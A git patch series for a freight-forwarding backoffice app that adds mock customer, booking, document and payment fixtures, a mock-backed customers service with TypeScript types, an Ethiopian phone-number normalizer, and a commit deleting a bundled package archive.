+ generalManagerName: "Dawit Tadesse", + generalManagerEmail: "dawit@abyssinia-ie.com", + generalManagerPhone: "+251 911 000 111", + website: "https://abyssinia-ie.com", + attributes: null, + companyProfiles: [ + { + id: "p1", + companyId: "c1", + type: "importer", + reference: "IMP-00123", + status: "active", + businessLicense: "BL-IMP-4521", + createdAt: iso("2024-02-10"), + updatedAt: iso("2024-02-10"), + }, + { + id: "p2", + companyId: "c1", + type: "exporter", + reference: "EXP-00456", + status: "active", + businessLicense: "BL-EXP-7782", + createdAt: iso("2024-03-01"), + updatedAt: iso("2024-03-01"), + }, + ], + createdAt: iso("2024-02-10"), + updatedAt: iso("2025-01-12"), + }, + { + id: "c2", + name: "Horn Logistics Freight Forwarding", + type: "freight_forwarder", + status: "active", + tin: "0023456789", + vatNumber: "VAT-200112", + fanNumber: null, + country: "Ethiopia", + address: "Kality Industrial Zone, Addis Ababa", + phone: "+251 911 765 432", + email: "dispatch@hornlogistics.et", + contactPersonName: "Yonas Girma", + contactPersonPhone: "+251 911 765 432", + generalManagerName: "Hanna Mekonnen", + generalManagerEmail: "hanna@hornlogistics.et", + generalManagerPhone: "+251 911 222 333", + website: "https://hornlogistics.et", + attributes: null, + companyProfiles: [ + { + id: "p3", + companyId: "c2", + type: "freight_forwarder", + reference: "FFW-01001", + status: "active", + businessLicense: "BL-FFW-1190", + createdAt: iso("2023-11-05"), + updatedAt: iso("2023-11-05"), + }, + { + id: "p4", + companyId: "c2", + type: "importer", + reference: "IMP-00890", + status: "pending", + businessLicense: null, + createdAt: iso("2024-06-18"), + updatedAt: iso("2024-06-18"), + }, + { + id: "p5", + companyId: "c2", + type: "exporter", + reference: "EXP-00777", + status: "active", + businessLicense: "BL-EXP-3310", + createdAt: iso("2024-07-01"), + updatedAt: iso("2024-07-01"), + }, + ], + createdAt: iso("2023-11-05"), + updatedAt: iso("2025-02-20"), + }, + { + id: "c3", + name: "Djibouti Gateway Forwarders", + type: "dj_freight_forwarder", + status: "active", + tin: "0034567890", + vatNumber: null, + fanNumber: "FAN-0451", + country: "Djibouti", + address: "Port de Djibouti, Djibouti City", + phone: "+253 21 35 00 00", + email: "ops@djgateway.dj", + contactPersonName: "Amina Idriss", + contactPersonPhone: "+253 77 12 34 56", + generalManagerName: "Omar Farah", + generalManagerEmail: "omar@djgateway.dj", + generalManagerPhone: "+253 77 99 88 77", + website: null, + attributes: null, + companyProfiles: [ + { + id: "p6", + companyId: "c3", + type: "dj_freight_forwarder", + reference: "DJF-02050", + status: "active", + businessLicense: "BL-DJF-0088", + createdAt: iso("2023-09-12"), + updatedAt: iso("2023-09-12"), + }, + ], + createdAt: iso("2023-09-12"), + updatedAt: iso("2024-12-30"), + }, + { + id: "c4", + name: "Rift Valley Transporters", + type: "transporter", + status: "suspended", + tin: "0045678901", + vatNumber: "VAT-300988", + fanNumber: null, + country: "Ethiopia", + address: "Adama Ring Road, Adama", + phone: "+251 912 345 678", + email: "fleet@riftvalley-tr.com", + contactPersonName: "Bereket Alemu", + contactPersonPhone: "+251 912 345 678", + generalManagerName: "Meron Haile", + generalManagerEmail: "meron@riftvalley-tr.com", + generalManagerPhone: "+251 912 111 222", + website: null, + attributes: null, + companyProfiles: [ + { + id: "p7", + companyId: "c4", + type: "transporter", + reference: "TRP-03012", + status: "suspended", + businessLicense: "BL-TRP-2204", + createdAt: iso("2024-01-22"), + updatedAt: iso("2024-10-04"), + }, + ], + createdAt: iso("2024-01-22"), + updatedAt: iso("2024-10-04"), + }, + { + id: "c5", + name: "Nile Trading & General Import", + type: "customer", + status: "pending", + tin: "0056789012", + vatNumber: null, + fanNumber: null, + country: "Ethiopia", + address: "Merkato, Addis Ababa", + phone: "+251 913 456 789", + email: "info@niletrading.et", + contactPersonName: "Sara Tesfaye", + contactPersonPhone: "+251 913 456 789", + generalManagerName: "Kebede Worku", + generalManagerEmail: "kebede@niletrading.et", + generalManagerPhone: "+251 913 000 999", + website: null, + attributes: null, + companyProfiles: [ + { + id: "p8", + companyId: "c5", + type: "importer", + reference: "IMP-01456", + status: "pending", + businessLicense: null, + createdAt: iso("2025-03-14"), + updatedAt: iso("2025-03-14"), + }, + ], + createdAt: iso("2025-03-14"), + updatedAt: iso("2025-03-14"), + }, + { + id: "c6", + name: "Sheba Steel & Cement Importers", + type: "customer", + status: "active", + tin: "0067890123", + vatNumber: "VAT-400777", + fanNumber: "FAN-0512", + country: "Ethiopia", + address: "Lebu, Addis Ababa", + phone: "+251 914 567 890", + email: "procure@shebasteel.com", + contactPersonName: "Tigist Assefa", + contactPersonPhone: "+251 914 567 890", + generalManagerName: "Robel Negash", + generalManagerEmail: "robel@shebasteel.com", + generalManagerPhone: "+251 914 222 444", + website: "https://shebasteel.com", + attributes: null, + companyProfiles: [ + { + id: "p9", + companyId: "c6", + type: "importer", + reference: "IMP-01987", + status: "active", + businessLicense: "BL-IMP-9001", + createdAt: iso("2024-05-09"), + updatedAt: iso("2024-05-09"), + }, + ], + createdAt: iso("2024-05-09"), + updatedAt: iso("2025-04-02"), + }, + { + id: "c7", + name: "Awash Agro Export Union", + type: "customer", + status: "active", + tin: "0078901234", + vatNumber: "VAT-500321", + fanNumber: null, + country: "Ethiopia", + address: "Awash, Afar", + phone: "+251 915 678 901", + email: "export@awashagro.coop", + contactPersonName: "Lensa Diriba", + contactPersonPhone: "+251 915 678 901", + generalManagerName: "Gemechu Bayisa", + generalManagerEmail: "gemechu@awashagro.coop", + generalManagerPhone: "+251 915 333 555", + website: null, + attributes: null, + companyProfiles: [ + { + id: "p10", + companyId: "c7", + type: "exporter", + reference: "EXP-02233", + status: "active", + businessLicense: "BL-EXP-6650", + createdAt: iso("2024-08-19"), + updatedAt: iso("2024-08-19"), + }, + { + id: "p11", + companyId: "c7", + type: "importer", + reference: "IMP-02234", + status: "active", + businessLicense: "BL-IMP-6651", + createdAt: iso("2024-08-19"), + updatedAt: iso("2024-08-19"), + }, + ], + createdAt: iso("2024-08-19"), + updatedAt: iso("2025-05-10"), + }, + { + id: "c8", + name: "Blacklisted Holdings Trading", + type: "customer", + status: "blacklisted", + tin: "0089012345", + vatNumber: null, + fanNumber: null, + country: "Ethiopia", + address: "Unknown", + phone: "+251 916 789 012", + email: "contact@blacklistedholdings.com", + contactPersonName: "N/A", + contactPersonPhone: "+251 916 789 012", + generalManagerName: "N/A", + generalManagerEmail: null, + generalManagerPhone: null, + website: null, + attributes: null, + companyProfiles: [ + { + id: "p12", + companyId: "c8", + type: "importer", + reference: "IMP-02999", + status: "blacklisted", + businessLicense: null, + createdAt: iso("2023-12-01"), + updatedAt: iso("2024-02-15"), + }, + ], + createdAt: iso("2023-12-01"), + updatedAt: iso("2024-02-15"), + }, + { + id: "c9", + name: "Lalibela Coffee Exporters", + type: "customer", + status: "active", + tin: "0090123456", + vatNumber: "VAT-600145", + fanNumber: "FAN-0623", + country: "Ethiopia", + address: "Sidama, Hawassa", + phone: "+251 917 890 123", + email: "trade@lalibelacoffee.com", + contactPersonName: "Eyob Tariku", + contactPersonPhone: "+251 917 890 123", + generalManagerName: "Frehiwot Solomon", + generalManagerEmail: "frehiwot@lalibelacoffee.com", + generalManagerPhone: "+251 917 444 666", + website: "https://lalibelacoffee.com", + attributes: null, + companyProfiles: [ + { + id: "p13", + companyId: "c9", + type: "exporter", + reference: "EXP-03456", + status: "active", + businessLicense: "BL-EXP-8842", + createdAt: iso("2024-04-03"), + updatedAt: iso("2024-04-03"), + }, + ], + createdAt: iso("2024-04-03"), + updatedAt: iso("2025-03-22"), + }, + { + id: "c10", + name: "Unity Multimodal Forwarders", + type: "freight_forwarder", + status: "active", + tin: "0101234567", + vatNumber: "VAT-700998", + fanNumber: null, + country: "Ethiopia", + address: "Sululta, Oromia", + phone: "+251 918 901 234", + email: "ops@unitymultimodal.com", + contactPersonName: "Helen Tsegaye", + contactPersonPhone: "+251 918 901 234", + generalManagerName: "Nahom Berhanu", + generalManagerEmail: "nahom@unitymultimodal.com", + generalManagerPhone: "+251 918 555 777", + website: null, + attributes: null, + companyProfiles: [ + { + id: "p14", + companyId: "c10", + type: "freight_forwarder", + reference: "FFW-04088", + status: "active", + businessLicense: "BL-FFW-5521", + createdAt: iso("2024-09-28"), + updatedAt: iso("2024-09-28"), + }, + { + id: "p15", + companyId: "c10", + type: "transporter", + reference: "TRP-04089", + status: "active", + businessLicense: "BL-TRP-5522", + createdAt: iso("2024-09-28"), + updatedAt: iso("2024-09-28"), + }, + { + id: "p16", + companyId: "c10", + type: "exporter", + reference: "EXP-04090", + status: "pending", + businessLicense: null, + createdAt: iso("2025-01-15"), + updatedAt: iso("2025-01-15"), + }, + ], + createdAt: iso("2024-09-28"), + updatedAt: iso("2025-01-15"), + }, +]; + +/** Bookings keyed by companyId. */ +const BOOKINGS_BY_COMPANY: Record = { + c1: [ + { + id: "b1", + reference: "BK-2025-0481", + status: "PAID", + tradeDirection: "IMPORT", + freightType: "CONTAINER", + originLabel: "Djibouti Port", + destinationLabel: "Mojo Dry Port", + totalAmount: 482000, + currency: "ETB", + scheduledDate: iso("2025-05-20"), + createdAt: iso("2025-05-02"), + }, + { + id: "b2", + reference: "BK-2025-0512", + status: "IN_TRANSIT", + tradeDirection: "IMPORT", + freightType: "CONTAINER", + originLabel: "Djibouti Port", + destinationLabel: "Indode Terminal", + totalAmount: 356500, + currency: "ETB", + scheduledDate: iso("2025-06-01"), + createdAt: iso("2025-05-18"), + }, + { + id: "b3", + reference: "BK-2025-0298", + status: "COMPLETED", + tradeDirection: "EXPORT", + freightType: "BULK", + originLabel: "Mojo Dry Port", + destinationLabel: "Djibouti Port", + totalAmount: 198000, + currency: "ETB", + scheduledDate: iso("2025-03-30"), + createdAt: iso("2025-03-12"), + }, + ], + c2: [ + { + id: "b4", + reference: "BK-2025-0633", + status: "PENDING_APPROVAL", + tradeDirection: "IMPORT", + freightType: "CONTAINER", + originLabel: "Djibouti Port", + destinationLabel: "Mojo Dry Port", + totalAmount: 720000, + currency: "ETB", + scheduledDate: null, + createdAt: iso("2025-06-10"), + }, + { + id: "b5", + reference: "BK-2025-0588", + status: "PAID", + tradeDirection: "EXPORT", + freightType: "CONTAINER", + originLabel: "Indode Terminal", + destinationLabel: "Djibouti Port", + totalAmount: 540000, + currency: "ETB", + scheduledDate: iso("2025-06-15"), + createdAt: iso("2025-05-29"), + }, + ], + c6: [ + { + id: "b6", + reference: "BK-2025-0701", + status: "SUBMITTED", + tradeDirection: "IMPORT", + freightType: "BULK", + originLabel: "Djibouti Port", + destinationLabel: "Mojo Dry Port", + totalAmount: 1250000, + currency: "ETB", + scheduledDate: null, + createdAt: iso("2025-06-18"), + }, + ], + c7: [ + { + id: "b7", + reference: "BK-2025-0344", + status: "COMPLETED", + tradeDirection: "EXPORT", + freightType: "BULK", + originLabel: "Mojo Dry Port", + destinationLabel: "Djibouti Port", + totalAmount: 2100, + currency: "USD", + scheduledDate: iso("2025-04-05"), + createdAt: iso("2025-03-20"), + }, + { + id: "b8", + reference: "BK-2025-0410", + status: "CANCELLED", + tradeDirection: "EXPORT", + freightType: "CONTAINER", + originLabel: "Indode Terminal", + destinationLabel: "Djibouti Port", + totalAmount: 3400, + currency: "USD", + scheduledDate: null, + createdAt: iso("2025-04-22"), + }, + ], +}; + +/** Documents keyed by companyId. */ +const DOCUMENTS_BY_COMPANY: Record = { + c1: [ + { + id: "d1", + name: "Business License 2025.pdf", + code: "business_license", + mimeType: "application/pdf", + size: 482_113, + uploadedAt: iso("2025-01-12"), + url: "#", + }, + { + id: "d2", + name: "VAT Registration.pdf", + code: "vat_certificate", + mimeType: "application/pdf", + size: 211_544, + uploadedAt: iso("2024-02-11"), + url: "#", + }, + { + id: "d3", + name: "Trade Agreement - Signed.pdf", + code: "contract", + mimeType: "application/pdf", + size: 1_204_882, + uploadedAt: iso("2025-05-03"), + url: "#", + }, + ], + c2: [ + { + id: "d4", + name: "Forwarding License.pdf", + code: "business_license", + mimeType: "application/pdf", + size: 365_002, + uploadedAt: iso("2023-11-06"), + url: "#", + }, + { + id: "d5", + name: "Company Profile.docx", + code: "company_profile", + mimeType: "application/vnd.openxmlformats-officedocument.wordprocessingml.document", + size: 92_440, + uploadedAt: iso("2024-07-02"), + url: "#", + }, + ], + c6: [ + { + id: "d6", + name: "Import License.pdf", + code: "business_license", + mimeType: "application/pdf", + size: 410_223, + uploadedAt: iso("2024-05-10"), + url: "#", + }, + ], + c7: [ + { + id: "d7", + name: "Export Permit.pdf", + code: "export_permit", + mimeType: "application/pdf", + size: 298_770, + uploadedAt: iso("2024-08-20"), + url: "#", + }, + { + id: "d8", + name: "Quality Certificate.jpg", + code: "quality_certificate", + mimeType: "image/jpeg", + size: 1_882_001, + uploadedAt: iso("2025-03-21"), + url: "#", + }, + ], +}; + +/** Payments keyed by companyId. */ +const PAYMENTS_BY_COMPANY: Record = { + c1: [ + { + id: "pay1", + reference: "PMT-77120", + bookingReference: "BK-2025-0481", + amount: 482000, + currency: "ETB", + method: "telebirr", + status: "success", + paidAt: iso("2025-05-04"), + createdAt: iso("2025-05-03"), + }, + { + id: "pay2", + reference: "PMT-77450", + bookingReference: "BK-2025-0512", + amount: 356500, + currency: "ETB", + method: "cbe-birr", + status: "processing", + paidAt: null, + createdAt: iso("2025-05-19"), + }, + { + id: "pay3", + reference: "PMT-71002", + bookingReference: "BK-2025-0298", + amount: 198000, + currency: "ETB", + method: "telebirr", + status: "success", + paidAt: iso("2025-03-14"), + createdAt: iso("2025-03-13"), + }, + ], + c2: [ + { + id: "pay4", + reference: "PMT-78900", + bookingReference: "BK-2025-0588", + amount: 540000, + currency: "ETB", + method: "cbe-birr", + status: "success", + paidAt: iso("2025-05-30"), + createdAt: iso("2025-05-29"), + }, + { + id: "pay5", + reference: "PMT-79120", + bookingReference: "BK-2025-0633", + amount: 720000, + currency: "ETB", + method: "card", + status: "action-required", + paidAt: null, + createdAt: iso("2025-06-10"), + }, + ], + c7: [ + { + id: "pay6", + reference: "PMT-70044", + bookingReference: "BK-2025-0344", + amount: 2100, + currency: "USD", + method: "card", + status: "success", + paidAt: iso("2025-03-22"), + createdAt: iso("2025-03-21"), + }, + { + id: "pay7", + reference: "PMT-70410", + bookingReference: "BK-2025-0410", + amount: 3400, + currency: "USD", + method: "card", + status: "refunded", + paidAt: iso("2025-04-23"), + createdAt: iso("2025-04-22"), + }, + ], +}; + +export function getCompanyById(id: string): Company | undefined { + return MOCK_COMPANIES.find((c) => c.id === id); +} + +export function getBookingsFor(companyId: string): CustomerBooking[] { + return BOOKINGS_BY_COMPANY[companyId] ?? []; +} + +export function getDocumentsFor(companyId: string): CustomerDocument[] { + return DOCUMENTS_BY_COMPANY[companyId] ?? []; +} + +export function getPaymentsFor(companyId: string): CustomerPayment[] { + return PAYMENTS_BY_COMPANY[companyId] ?? []; +} diff --git a/apps/edr-freight-web/backoffice/src/services/customers.service.ts b/apps/edr-freight-web/backoffice/src/services/customers.service.ts new file mode 100644 index 000000000..cc9f47f0b --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/services/customers.service.ts @@ -0,0 +1,72 @@ +/** + * Customers service. + * + * Currently backed by in-memory mock fixtures (`customers.mock.ts`); the public + * surface mirrors the other services (e.g. `bookings.service.ts`) — async + * methods returning `{ items, total }` / detail objects — so it can be pointed + * at the live `/companies` API later without touching the hooks or pages. + */ +import { + getBookingsFor, + getCompanyById, + getDocumentsFor, + getPaymentsFor, + MOCK_COMPANIES, +} from "@/pages/customers/customers.mock"; +import type { + Company, + CompanyListFilter, + CustomerBooking, + CustomerDocument, + CustomerPayment, + PaginatedCompanies, +} from "@/types/customer"; + +/** Simulate network latency so loading states are visible during UI work. */ +const delay = (value: T, ms = 350): Promise => + new Promise((resolve) => setTimeout(() => resolve(value), ms)); + +function matchesSearch(company: Company, search: string): boolean { + const q = search.trim().toLowerCase(); + if (!q) return true; + return ( + company.name.toLowerCase().includes(q) || + company.tin.toLowerCase().includes(q) || + company.email?.toLowerCase().includes(q) === true || + company.companyProfiles.some((p) => p.reference.toLowerCase().includes(q)) + ); +} + +export const customersService = { + list(filter: CompanyListFilter): Promise { + const { page, pageSize, search = "", type, status } = filter; + + const filtered = MOCK_COMPANIES.filter( + (c) => + matchesSearch(c, search) && + (!type || c.type === type) && + (!status || c.status === status), + ); + + const start = (page - 1) * pageSize; + const items = filtered.slice(start, start + pageSize); + + return delay({ items, total: filtered.length }); + }, + + getById(id: string): Promise { + return delay(getCompanyById(id)); + }, + + bookingsFor(companyId: string): Promise { + return delay(getBookingsFor(companyId)); + }, + + documentsFor(companyId: string): Promise { + return delay(getDocumentsFor(companyId)); + }, + + paymentsFor(companyId: string): Promise { + return delay(getPaymentsFor(companyId)); + }, +}; diff --git a/apps/edr-freight-web/backoffice/src/types/customer.ts b/apps/edr-freight-web/backoffice/src/types/customer.ts new file mode 100644 index 000000000..49b2dc850 --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/types/customer.ts @@ -0,0 +1,154 @@ +/** + * Customer-management types for the freight backoffice. + * + * These mirror the backend `Company` / `CompanyProfile` entities + * (apps/edr-freight-api/src/modules/companies/entities) plus a few lightweight + * shapes for the related data shown on the detail page (bookings / documents / + * payments). The UI is currently driven by mock data, but the shapes match the + * API so the data layer can be swapped to live endpoints with no UI changes. + */ + +/** Mirrors backend `CompanyType`. */ +export type CompanyType = + | "customer" + | "freight_forwarder" + | "dj_freight_forwarder" + | "transporter"; + +/** Mirrors backend `CompanyStatus`. */ +export type CompanyStatus = "active" | "pending" | "suspended" | "blacklisted"; + +/** Mirrors backend `ProfileType` (the role a company plays). */ +export type ProfileType = + | "importer" + | "exporter" + | "freight_forwarder" + | "dj_freight_forwarder" + | "transporter"; + +/** Mirrors backend `ProfileStatus`. */ +export type ProfileStatus = "active" | "pending" | "suspended" | "blacklisted"; + +/** A single role a company is registered for, with its reference code. */ +export interface CompanyProfile { + id: string; + companyId: string; + type: ProfileType; + reference: string; + status: ProfileStatus; + businessLicense?: string | null; + attributes?: Record | null; + createdAt: string; + updatedAt: string; +} + +/** Mirrors backend `Company` (+ its `companyProfiles`). */ +export interface Company { + id: string; + name: string; + type: CompanyType; + status: CompanyStatus; + tin: string; + vatNumber?: string | null; + fanNumber?: string | null; + country: string; + address?: string | null; + phone?: string | null; + email?: string | null; + contactPersonName?: string | null; + contactPersonPhone?: string | null; + generalManagerName?: string | null; + generalManagerEmail?: string | null; + generalManagerPhone?: string | null; + website?: string | null; + attributes?: Record | null; + companyProfiles: CompanyProfile[]; + createdAt: string; + updatedAt: string; +} + +/** Query parameters for the company list. */ +export interface CompanyListFilter { + page: number; + pageSize: number; + search?: string; + type?: CompanyType; + status?: CompanyStatus; +} + +/** Standard paginated list envelope (matches the bookings service shape). */ +export interface PaginatedCompanies { + items: Company[]; + total: number; +} + +/* ------------------------------------------------------------------ * + * Related data shown on the customer detail page (mocked for now). * + * ------------------------------------------------------------------ */ + +export type CustomerBookingStatus = + | "DRAFT" + | "SUBMITTED" + | "PENDING_APPROVAL" + | "APPROVED" + | "PAID" + | "IN_TRANSIT" + | "COMPLETED" + | "REJECTED" + | "CANCELLED"; + +export interface CustomerBooking { + id: string; + reference: string; + status: CustomerBookingStatus; + tradeDirection: "IMPORT" | "EXPORT"; + freightType: "CONTAINER" | "BULK"; + originLabel: string; + destinationLabel: string; + totalAmount: number; + currency: "ETB" | "USD"; + scheduledDate?: string | null; + createdAt: string; +} + +export interface CustomerDocument { + id: string; + name: string; + /** File-upload setting code, e.g. "business_license", "contract". */ + code: string; + mimeType: string; + /** Size in bytes. */ + size: number; + uploadedAt: string; + url?: string | null; +} + +export type CustomerPaymentStatus = + | "action-required" + | "processing" + | "success" + | "failed" + | "canceled" + | "refunded"; + +export type CustomerPaymentMethod = + | "telebirr" + | "cbe-birr" + | "ebirr" + | "waafi" + | "card" + | "dmoney" + | "cac-bank"; + +export interface CustomerPayment { + id: string; + reference: string; + /** Booking reference the payment settles. */ + bookingReference: string; + amount: number; + currency: "ETB" | "USD"; + method: CustomerPaymentMethod; + status: CustomerPaymentStatus; + paidAt?: string | null; + createdAt: string; +} From 39f2c99395cd57889a0dee98ed44cd6f1bbb88a9 Mon Sep 17 00:00:00 2001 From: Marshal Date: Mon, 22 Jun 2026 12:35:01 +0000 Subject: [PATCH 23/30] feat: add phone number normalization to Ethiopian E.164 format in CompanyProfileForm --- .../portal/src/components/PhoneField.tsx | 18 +++++++++++++ .../src/pages/accounts/CompanyProfileForm.tsx | 26 ++++++++++++------- 2 files changed, 35 insertions(+), 9 deletions(-) diff --git a/apps/edr-freight-web/portal/src/components/PhoneField.tsx b/apps/edr-freight-web/portal/src/components/PhoneField.tsx index e1ad3cd56..a50621e60 100644 --- a/apps/edr-freight-web/portal/src/components/PhoneField.tsx +++ b/apps/edr-freight-web/portal/src/components/PhoneField.tsx @@ -14,6 +14,24 @@ import "./phone-field.css"; export const isValidPhone = (value?: string | null): boolean => !!value && isValidPhoneNumber(value); +/** + * Normalize a raw (often eTrade) phone string to Ethiopian E.164 (+251…). + * eTrade returns local numbers like "0912345678" / "0355235416"; the phone + * input needs +251… to parse, so we drop a leading 0 and prepend +251. Numbers + * already in +… form, or that can't be coerced, are returned trimmed/as-is. + */ +export const toEthiopianE164 = (raw?: string | null): string => { + if (!raw) return ""; + const trimmed = raw.trim(); + if (trimmed.startsWith("+")) return trimmed.replace(/[^\d+]/g, ""); + // Keep digits only, drop a single leading zero (national trunk prefix). + const digits = trimmed.replace(/\D/g, "").replace(/^0/, ""); + if (!digits) return ""; + // Already includes the 251 country code. + if (digits.startsWith("251")) return `+${digits}`; + return `+251${digits}`; +}; + /** * The text input rendered inside react-phone-number-input, styled to match the * portal's Mantine fields (44px height, 10px radius, edr border). Must forward diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index fca6ecb44..29055a2e8 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -34,7 +34,11 @@ import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; import type { CompanyRegistrationData } from "@edr/types"; -import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; +import { + ControlledPhoneField, + isValidPhone, + toEthiopianE164, +} from "@/components/PhoneField"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; import RoleLicenseStep, { @@ -421,7 +425,10 @@ export default function CompanyProfileForm({ setValue("woreda", data.woreda); setValue("kebele", data.kebele); setValue("houseNo", data.houseNo); - setValue("etradePhone", data.regularPhone || data.mobilePhone); + setValue( + "etradePhone", + toEthiopianE164(data.regularPhone || data.mobilePhone), + ); // Compose a readable company address from the granular eTrade parts. const addressParts = [ @@ -436,14 +443,16 @@ export default function CompanyProfileForm({ } // Pre-fill the company contact phone from eTrade's mobile number. - const mobile = data.mobilePhone || data.regularPhone; + const mobile = toEthiopianE164(data.mobilePhone || data.regularPhone); if (mobile) { - setValue("companyPhone", mobile ?? "", { shouldValidate: true }); + setValue("companyPhone", mobile, { shouldValidate: true }); } setEtradeOwner({ name: data.managerName, - phone: data.managerPhone || data.regularPhone || data.mobilePhone, + phone: toEthiopianE164( + data.managerPhone || data.regularPhone || data.mobilePhone, + ), }); }; @@ -763,11 +772,10 @@ export default function CompanyProfileForm({ error={errors.houseNo?.message} {...register("houseNo")} /> - From 712579bf92c813679108169f00f63c4f2d05d59a Mon Sep 17 00:00:00 2001 From: mulish77 Date: Mon, 22 Jun 2026 16:23:01 +0300 Subject: [PATCH 24/30] Delete local-packages/tria-plc-api-common-1.4.3.tgz --- local-packages/tria-plc-api-common-1.4.3.tgz | Bin 98483 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 local-packages/tria-plc-api-common-1.4.3.tgz diff --git a/local-packages/tria-plc-api-common-1.4.3.tgz b/local-packages/tria-plc-api-common-1.4.3.tgz deleted file mode 100644 index b2ac0150f0d89165f8278e5c04dd8706e1ab3ccb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 98483 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 